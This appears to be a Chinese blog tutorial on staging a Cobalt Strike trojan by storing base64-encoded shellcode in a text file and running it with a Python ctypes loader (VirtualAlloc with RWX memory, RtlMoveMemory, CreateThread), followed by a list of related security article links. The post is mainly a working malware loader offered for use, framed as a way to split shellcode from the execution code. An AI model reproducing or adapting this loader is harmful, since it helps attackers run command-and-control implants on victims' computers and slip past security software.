无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
一名优秀的码农30 分钟前
vulhub系列-12-Hackademic.RTB1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Boxsc_midnight5 小时前
【windows电脑浏览器直接访问虚拟机或云端openclaw的方法】一个不需要HTTPS的安全连接通道(基于SSH)
windows·安全·https·openclaw
安全二次方security²6 小时前
【CVE-2025-0647】ARM CPU漏洞安全通告
arm开发·安全·cve-2025-0647·tlbi·cpp rctx 指令·c1-ultra·虚拟化漏洞
●VON7 小时前
HarmonyOS应用开发实战(基础篇)Day11 -《组件复用》
学习·安全·华为·harmonyos·von
德迅云安全-小潘18 小时前
德迅零域(微隔离):破解云时代横向渗透困局的“手术刀”
网络·数据库·安全
良许Linux19 小时前
物联网安全和认证技术
物联网·struts·安全
AI题库1 天前
PostgreSQL 18 默认密码修改全指南:从安装到安全加固
数据库·安全·postgresql
猫头虎1 天前
[精选] 2025最新MySQL和PostgreSQL区别、迁移、安全、适用场景全解析
运维·数据库·mysql·安全·postgresql·云原生·容器
枷锁—sha1 天前
【CTFshow-pwn系列】03_栈溢出【pwn 051】详解:C++字符串替换引发的血案与 Ret2Text
开发语言·网络·c++·笔记·安全·网络安全
菩提小狗1 天前
第18天:信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·web安全